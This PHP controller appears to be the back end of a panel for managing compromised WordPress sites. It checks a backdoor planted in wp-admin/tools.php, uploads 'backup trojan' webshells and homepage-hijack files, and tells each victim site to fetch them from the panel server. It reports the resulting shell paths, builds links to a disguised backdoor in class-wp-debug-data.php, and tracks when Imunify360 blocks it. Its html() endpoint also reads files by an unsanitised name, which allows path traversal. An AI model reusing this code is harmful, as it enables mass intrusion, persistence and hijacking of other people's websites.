<?php

namespace app\ctrl;

use Yurun\Util\YurunHttp\Co\Batch;
use Yurun\Util\HttpRequest;

/**
 * 针对WordPress的资源处理
 */
class Wptool extends \app\ctrl\BaseController
{

    /**
     * 显示页面
     */
    public function index()
    {
        // 输出详情html内容
        $view = new \core\lib\View(VIEWS);
        return $view->render('wp-tool', ['v' => time(), 'host' => env('APP_BASEURL')]);
    }

    /**
     * 显示页面
     */
    public function md5()
    {
        // 输出详情html内容
        $view = new \core\lib\View(VIEWS);
        return $view->render('wp-tool-md5', ['v' => time(), 'host' => env('APP_BASEURL')]);
    }

    /**
     * 访问指定html
     */
    public function html()
    {
        // 输出详情html内容
        $filename = get('filename');
        $path = STORAGE . '/wp-html/' . $filename . '.html';
        if (is_file($path)) {
            return @file_get_contents($path);
        }
        return '';
    }

    /**
     * 处理工具的所有事情
     */
    public function exec()
    {
        $params = post();
        $this->validate($params, [
            'iden' => 'require|in:checksx,beima,beima2,index,md5',
        ]);
        $iden = strtolower($params['iden']);
        require_once(VENDOR . '/autoload.php');
        switch ($iden) {
            case 'checksx':
                $res = $this->doChecksx($params);
                break;
            case 'beima':
                $res = $this->doBeima($params);
                break;
            case 'beima2':
                $res = $this->doBeima2($params);
                break;
            case 'index':
                $res = $this->doIndex($params);
                break;
            case 'md5':
                $res = $this->genMd5($params);
                break;
            default:
                error('不存在该工具');
        }
        return $res;
    }

    /**
     * 生成一个文件的MD5
     */
    public function genMd5(array $params)
    {
        $domains = $this->checkDomains($params['domains']);
        if (empty($_FILES['beima_file'])) {
            error('请上传备马文件');
        }
        // 对上传的文件进行生成临时文件，并且使得执行style.php时可以访问到的
        $beimaFileTemp = $_FILES['beima_file']["tmp_name"];
        $beimaFileContent = @file_get_contents($beimaFileTemp);
        $md5 = md5(base64_encode($beimaFileContent));
        $uri = "wp-admin/includes/class-wp-debug-data.php?style={$md5}";
        foreach ($domains as $k => $domain) {
            $urls[] = $domain . (str_ends_with($domain, '/') ? $uri : '/' . $uri);
        }
        return $urls;
    }

    /**
     * 检查tools.php文件是否存在自己的代码
     */
    public function doChecksx(array $params)
    {
        $domains = $this->checkDomains($params['domains']);
        // 公共参数
        $headers = [
            'Content-Type' => 'charset=UTF-8',
        ];
        $options = [
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false
        ];

        $uri = "wp-admin/tools.php?style=checksx";
        foreach ($domains as $k => $domain) {
            $url = $domain . (str_ends_with($domain, '/') ? $uri : '/' . $uri);
            // 总时间不得超过3秒，连接时间不得超过1秒
            $req[$k] = (new HttpRequest)->headers($headers)->options($options)->retry(2)->timeout(3000, 1000)->url($url);
        }

        if (!empty($req)) {
            $result = Batch::run($req);
            foreach ($result as $k => $resp) {
                $domain = $domains[$k];
                $statusCode = $resp->getStatusCode();
                if ($statusCode === 403) {
                    $data[] = $domain . '|访问拒绝';
                    continue;
                }

                $content = str_replace(["\r\n", "\n", "\r", "\t"], '', trim($resp->getBody()->getContents()));
                if (!empty($content)) {
                    if (str_starts_with($content, 'ok|')) {
                        $data[] = $domain . '|OK';
                    } else {
                        try {
                            $dom = new \DOMDocument();
                            libxml_use_internal_errors(true); // 忽略HTML5不规范警告
                            // 加载HTML
                            $dom->loadHTML($content, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);
                            // 要移除的标签列表
                            $tagsToRemove = ['script', 'link', 'style', 'meta', 'noscript'];
                            foreach ($tagsToRemove as $tagName) {
                                $elements = $dom->getElementsByTagName($tagName);
                                // 从后往前移除，避免影响遍历
                                for ($i = $elements->length - 1; $i >= 0; $i--) {
                                    $node = $elements->item($i);
                                    $node->parentNode->removeChild($node);
                                }
                            }

                            // 获取body内容
                            $body = $dom->getElementsByTagName('body')->item(0)->textContent;
                            //InPowered by WordPressUsername or Email AddressPassword Remember MeLost your password?← Go to Tanja TuinstraLanguageEnglish (United States)Nederlands
                            if (str_contains($body, 'AddressPassword Remember MeLost')) {
                                $data[] = $domain . '|代码被改';
                            } else {
                                $data[] = $domain . '|Err-' . substr($body, 0, 10);
                                logger('wp-tool')->error(['function' => __FUNCTION__, 'domain' => $domain, 'body' => $body]);
                            }
                        } catch (\Exception $e) {
                            $data[] = $domain . '|程序异常';
                            logger('wp-tool')->error(['function' => __FUNCTION__, 'domain' => $domain, 'excep' => $e->getMessage(), 'line' => $e->getLine()]);
                        }
                    }
                } else {
                    $data[] = $domain . '|代码被清空';
                    logger('wp-tool')->error(['function' => __FUNCTION__, 'domain' => $domain, 'ret' => '代码被清空']);
                }
            }
        }
        return $data;
    }

    /**
     * 文件备马
     */
    public function doBeima(array $params)
    {
        $iden = 'beima';
        if (empty($_FILES['beima_file'])) {
            error('请上传备马文件');
        }
        $params['domains'] = $this->checkDomains($params['domains']);
        // 对上传的文件进行生成临时文件，并且使得执行style.php时可以访问到的
        $beimaFileTemp = $_FILES['beima_file']["tmp_name"];
        $beimaFileContent = @file_get_contents($beimaFileTemp);
        $md5 = $iden . '_' . md5($beimaFileContent);
        $toPath = STORAGE . '/wp-html/' . $md5 . '.html';
        if (!file_exists($toPath)) {
            @file_put_contents($toPath, $beimaFileContent);
        }
        // 并发请求，有更快的请求速度
        $reqparams = [];
        foreach ($params['domains'] as $domain) {
            $reqparams[$domain] = [
                'iden' => $iden,
                'server' => env('APP_BASEURL'),
                'shellfile' => 'wptool/html?filename=' . $md5
            ];
        }
        return $this->yurunRequest($reqparams);
    }

    /**
     * 动态数据库备马
     */
    public function doBeima2(array $params)
    {
        $iden = 'beima2';
        if (empty($_FILES['beima_file'])) {
            error('请上传备马文件');
        }
        $params['domains'] = $this->checkDomains($params['domains']);
        // 对上传的文件进行生成临时文件，并且使得执行style.php时可以访问到的
        $beimaFileTemp = $_FILES['beima_file']["tmp_name"];
        $beimaFileContent = @file_get_contents($beimaFileTemp);
        $md5 = $iden . '_' . md5(base64_encode($beimaFileContent));
        $toPath = STORAGE . '/wp-html/' . $md5 . '.html';
        if (!file_exists($toPath)) {
            @file_put_contents($toPath, $beimaFileContent);
        }
        // 并发请求，有更快的请求速度
        $reqparams = [];
        foreach ($params['domains'] as $domain) {
            $reqparams[$domain] = [
                'iden' => $iden,
                'server' => env('APP_BASEURL'),
                'md5' => $md5,// 用来确认配置是否存在，存在则返回OK，不存在则存入WP的DB，再返回OK
                'shellfile' => 'wptool/html?filename=' . $md5
            ];
        }
        return $this->yurunRequest($reqparams);
    }

    /**
     * 首页劫持
     */
    public function doIndex(array $params)
    {
        // 1.验证参数
        if (empty($_FILES['index_file'])) {
            error('请上传劫持文件');
        }
        if (!str_ends_with($_FILES['index_file']['name'], '.php')) {
            error('劫持文件必须是一个php文件');
        }
        $params['domains'] = $this->checkDomains($params['domains']);

        // 2.对上传的文件进行生成临时文件，并且使得执行style.php时可以访问到的
        $indexFileTemp = $_FILES['index_file']["tmp_name"];
        $indexFileContent = @file_get_contents($indexFileTemp);
        $md5 = 'index_' . md5(base64_encode($indexFileContent));
        $toPath = STORAGE . '/wp-html/' . $md5 . '.html';
        @file_put_contents($toPath, $indexFileContent);

        // 并发请求，有更快的请求速度
        $reqparams = [];
        foreach ($params['domains'] as $domain) {
            $reqparams[$domain] = [
                'iden' => 'index',
                'server' => env('APP_BASEURL'),
                'md5' => $md5,// 用来确认配置是否存在，存在则返回OK，不存在则存入WP的DB，再返回OK
                'shellfile' => 'wptool/html?filename=' . $md5
            ];
        }
        return $this->yurunRequest($reqparams);
    }

    /**
     * yurun的request批量请求
     * $params key=domain,value=加密前的数组
     * 参考：https://github.com/Yurunsoft/YurunHttp，https://www.w3cschool.cn/yurunhttp/yurunhttp-yael2e0s.html
     */
    private function yurunRequest(array $params)
    {
        // 公共参数
        $headers = [
            'Content-Type' => 'application/json;charset=UTF-8',
            'Accept' => 'application/json'
        ];
        $options = [
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false
        ];
        $urls = $domains = $encryptParams = $data = [];
        foreach ($params as $domain => $encryptParam) {
            $encryptStr = $this->encrypt($encryptParam);
            if (str_ends_with($domain, '/')) {
                $url = $domain . "wp-admin/tools.php?style={$encryptParam['iden']}";
            } else {
                $url = $domain . "/wp-admin/tools.php?style={$encryptParam['iden']}";
            }
            if (!empty($url)) {
                $urls[] = $url;
                $domains[] = $domain;
                // 总时间不得超过3秒，连接时间不得超过1秒
                $req[] = (new HttpRequest)->headers($headers)->options($options)->retry(2)->timeout(3000, 1000)
                    ->url($url . '&p=' . $encryptStr)->headers(['p' => $encryptStr]);
                $encryptParams[] = $encryptParam;
            }
        }

        if (!empty($req)) {
            $result = Batch::run($req);
            foreach ($result as $k => $resp) {
                $url = $urls[$k];
                $encryptParam = $encryptParams[$k];
                $statusCode = $resp->getStatusCode();
                if ($statusCode === 403) {
                    $msg = '访问不了1';
                    $data[] = $url . '|' . $msg;
                    logger('wp-tool')->error(compact('url', 'msg'));
                    continue;
                }
                $response = $resp->getBody()->getContents();
                // WP通过wp_send_json_success或wp_send_json_error返回的，结果如{"success": false, "data": "xxxx"}
                $response = json_decode($response, JSON_UNESCAPED_UNICODE);
                $msg = $response['data'] ?? '';
                if (isset($response['success']) && $response['success'] === true) {
                    if (str_starts_with($msg, "\\")) {
                        $msg = str_replace("\\", '/', $msg);
                    }
                    if (in_array($encryptParam['iden'], ['beima', 'beima2'])) {
                        // 和以前一样，返回最终的地址，如“http://wp/wp-includes/blocks/shortcode/pass.php”
                        $parseUrl = parse_url($url);
                        $data[] = ($parseUrl['scheme'] ?? '') . '://' . ($parseUrl['host'] ?? '') . ($msg ?? '');
                    } else {
                        $temp = $domains[$k] . '|' . 'OK';
                        if (!empty($msg)) {
                            if (is_string($msg)) {
                                $temp .= '[' . $msg . ']';
                            }
                        }
                        $data[] = $temp;
                    }
                } else {
                    logger('wp-tool')->error($url, $response);
                    if (isset($response['message']) && !empty($response['message'])) {
                        if (str_contains($response['message'], 'Imunify360 bot-protection')) {
                            $data[] = $domains[$k] . '|被机器人安防了';
                        } else {
                            $data[] = $domains[$k] . '|' . substr($response['message'], 0, 20);
                        }
                    } else {
                        empty($msg) && $msg = '访问不了2';
                        $data[] = $domains[$k] . '|' . $msg;
                    }
                }
            }
        }
        return $data;
    }

    /**
     * 验证提交的多个域名
     */
    private function checkDomains(string $domains)
    {
        $domains = explode(PHP_EOL, $domains);
        if (empty($domains)) {
            error('域名参数错误');
        }
        $last = [];
        foreach ($domains as $domain) {
            $domain = trim($domain);
            if (empty($domain)) {
                // 移除空行
                continue;
            }
            $domain = rtrim($domain, '/');
            if (!str_starts_with($domain, 'http') && !str_starts_with($domain, '//')) {
                $last[] = 'http://' . $domain;
            } else {
                $last[] = $domain;
            }
        }
        return $last;
    }

    /**
     * 对需要远程请求的参数进行加密
     */
    private function encrypt(array $params)
    {
        $params = json_encode($params, JSON_UNESCAPED_UNICODE);
        return !is_null($params) ? urlencode(base64_encode($params)) : '';
    }
}